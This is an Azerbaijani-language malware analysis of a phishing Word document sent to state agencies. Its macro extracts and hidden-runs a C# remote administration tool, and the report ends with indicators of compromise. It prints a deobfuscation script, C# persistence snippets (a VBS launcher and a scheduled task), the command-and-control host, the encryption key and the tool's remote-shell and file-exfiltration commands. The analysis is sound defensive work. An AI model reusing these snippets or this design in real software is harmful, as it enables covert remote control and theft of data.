Laboratoriyaya yerli dövlət orqanlarına göndərilən şübhəli məktub haqqında məlumat daxil olduqdan sonra məktubu analiz etməyə başladıq. Saxta məktub qısa mətn və 1 ədəd bağlama ilə göndərilmişdi.
telebler.docx adında olan bağlama, fayl yükləmə servislərindən birinə upload edilmişdi. Nümünə faylı endirdiyimiz zaman sənəd formatının .docx (Office Open XML) deyil .doc formatında (Microsoft Compund Binary File) olduğunu aşkar etdik.
Kodlar tamamı ilə obfuscate edilmişdi. Burada Document_Open entrypoint funksiyasıdır və VBA Macros aktiv edildiyi zaman avtomatik olaraq çağrılan ilk funksiyadır.
MyFu_OACZT_20210214_115603_xokkn_nc23 deobfuskasiya əməliyyatları zamanı çağrılırdı.
Funksiya parametr olaraq daxil edilən mətni 4 xarakterlik parçaya bölür və bir sonrakı funksiyaya müraciət edirdi. Bu funksiya (Custom15_OACZT_20210214_115603_xokkn_47Convw32) isə gələn məlumatı (switch-case statement) decode edərək nəticəni geri göndərir.
Test məqsədi ilə pythonda deobfuskasiya əməliyyatını simulasiya edən kiçik bir script:
def MyFu_OACZT_20210214_115603_xokkn_nc23(inputVal):
decoded == ""
for i in range(0, len(inputVal), 4):
inp_slice = inputVal[i: i + 4]
s = Custom15_OACZT_20210214_115603_xokkn_47Convw32(inp_slice)
decoded += s
return decoded
İlk öncə "71057063707870697076708070697074706771157092706970727065710570857079708070657073710170627070706570637080" məlumatı decode edilərək FileSystemObject yaradılır. Bundan sonra isə macros GetTempFolder & MyFu_OACZT_20210214_115603_xokkn_nc23("70927061706970787066706170847115708670697076") əmri ilə yeni bir fayl path generasiya edir: "%temp%\\Fairfax.zip"
Bunlara əlavə olaraq cari istifadəçinin local qovluğuna uyğun olaraq daha bir neçə ədəd fayl (.zip, .bat, .docx) generasiya edirdi.
Daha sonra macros "%AppData%\vstelmetry" qovluğunun mövcud olub-olmadığını yoxlayır və əgər eyni adda qovluq yoxdursa fso.CreateFolder əmri ilə söze gedən qovluğu yaradır. Əksi təqdirdə macros fəaliyyətini dayandırırdı.
Heç bir önəm kəsb etməyən bir neçə funksiyadan sonra (obfuscation tricks) SaveAsDocx funksiyası çağrılır və parametr olaraq docxPath(%temp%\aurora[randnumber].docx) mətni göndərilir. Çağrılan funksiya özünün (telebler.doc) bir nüsxəsini %temp%\aurora[randnumber].docx faylına yazır.
Əməliyyat tamamlandıqdan sonra fso.CopyFile əmri ilə eyni qovluqda %temp%\aurora675.docx faylının yeni fayl extension (aurora8091.zip) ilə kopyalayır və ardınca aurora7044 qovluğu yaradaraq .zip faylı bu qovluğa ixrac edir.
Burada diqqəti cəlb edən bir bir digər məqam Extract_OACZT_20210214_115603_xokkn_FromPNG funksiyası idi. Funksiya 2 ədəd parametr qəbul edirdi.
- PngPath: “%temp%\aurora7044 & decoded(‘\word\media\image1.png”)
- OutputPath: %temp%\FairFax.zip
Parametləri qəbul edən funksiya PNG rəsm faylını təhlil edib içərisindən zip formatında yeni bir fayl (%temp%\FairFax.zip) yaradırdı. Bu rəsm faylı telebler.doc sənədi açıldığı zaman qarşımıza çıxan əsas səhifədə yerləşən rəsm faylı idi.
Funksiya PNG chunklar arasından pUnk tipində chunk axtarır və burada olan məlumatı oxuyur.
PNG chunklara baxdığımız zaman pUnk tipində olan chunkın (chunk-5) birində PKZIP header imzasını gördük. Məlumatı FairFax.zip olaraq yaratdığımız fayla yazdıqdan sonra içərisinə göz gəzdirdik.
Macros bundan sonra Shell əmri ilə FairFax/Debug/runner.bat faylını "vbHide" opsiyası ilə işə salır (Runner.bat isə arxiv içərisində olan FairFax.exe faylını işə salırdı) və işini sonlandırır.
FairFax.exe – Remote Administration Tool
32 bitlik proqram C# dilində yazılmışdı. Main funksiyası yeni Client sinifi yaradaraq .StartClientAsync metodunu çağırır.
Burada CreateVbsFile funksiyası çağrılır və FairFax.vbs adında yeni fayl yaradır.
public static readonly string VbsContent = "CreateObject (\"Wscript.Shell\"). Run \"\"\"C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\" + _appFolderName + "\\Fairfax\\Debug\\Fairfax.exe\"\"\", 0, True";
public static readonly string VbsPath = "C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\" + _appFolderName + "\\" + _vbFileName (FairFax.vbs);
Daha sonra RunPowerShell ("get-scheduledtask -taskname Fairfax*") metodu ilə sistemdə FairFax adında planlaşdırılmış tapşırıq olub-olmadığını yoxlayır. Əgər yoxdursa FairFax adında avtomatik işə düşəcək şəkildə yeni FairFax tapşırığı yaradır. Tapşırıq CreateVbsFile funksiyasının yaratdığı vbs faylını işhə salması üçün konfiqurasiya edilir.
public static readonly string TaskAction = "$taskAction = New-ScheduledTaskAction -Execute 'C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\" + _appFolderName + "\\" + _vbFileName + "' ";
public static readonly string TaskTrigger = "$taskTrigger = New-ScheduledTaskTrigger -Daily -At 00:01";
public static readonly string TaskSettings = "$taskSettings = New-ScheduledTaskSettingsSet -MultipleInstances IgnoreNew";
public static readonly string TaskScheduler = "$task | Set-ScheduledTask";
public static readonly string TaskRepetitionInterval = "$task.Triggers.Repetition.Interval = \"PT1M\"";
Task-Scheduler ilə bağlı əməliyyatları bitirdikdən sonra isə proqram əsas serverə qoşulmaq üçün DNS.GetHostEntry metodu ilə vnedoprym.kozow.com aid bağlantı məlumatlarını götürür. Yeni yaradılan socket sinifi ilə ip adresə (port: 443) qoşulmağa cəhd edir. Təəssüflər olsun ki, şübhəli faylı analiz edərkən artıq host fəaliyyətini dayandırmışdı. Lakin bu analiz prosesinə təsir etmədi. Kodlar bizə demək olar hər şeyi aydın şəkildə anlamağımıza imkan yaradırdı. Qoşulma yaradıldıqdan sonra proqram qarşı tərəfə aşağıdakı mesaj ilə birlikdə sistem haqqında topladığı informasiyaları ötürür.
public static readonly string GreetMessage = "4543v.-Gre--+etings13*|}'/}";
Məlumatlar .SendAsync metodu ilə qarşı tərəfə şifrələnmiş şəkildə göndərilir.
public static readonly string CipherKey = "b14ca5898a5f6133bbce2ea2315a1915";
Yuxarıda ki, əməliyyatları yerinə yetirdikdən sonra proqram dinləmə moduna keçir və qarşı tərəfdən gələcək əmrləri gözləməyə başlayır.
Message message = await _connection.ReceiveAsync()
Message stukturu:
Dəstəklənən əmrlər:
- Screenhot – ekran görüntüsü almaq üçün
- Upload- qarşı tərəfin istəyinə uyğun olaraq sistemə istənilən faylın endirilməsi. Endirilən fayl %temp%\dasu qovluğunda saxlanılır.
- Download – sistemdən qarşı tərəfə faylın göndərilməsi üçün istifadə edilirdi. Göndəriləmək istənən fayl ilk öncə həcm azaldılması üçün Zip formatına gətirilir və qarşı tərəfə göndərilir.
- Remote Shell - qarşı tərəfdən gələn PowerShell və cmd əmrlərini icra etmək
Indicators of Compromise
74393A272D26F540A735301332E94674
A2BBC8C6431BAD3B8B420F4504EC70E2BFDFF397
vnedoprym.kozow.com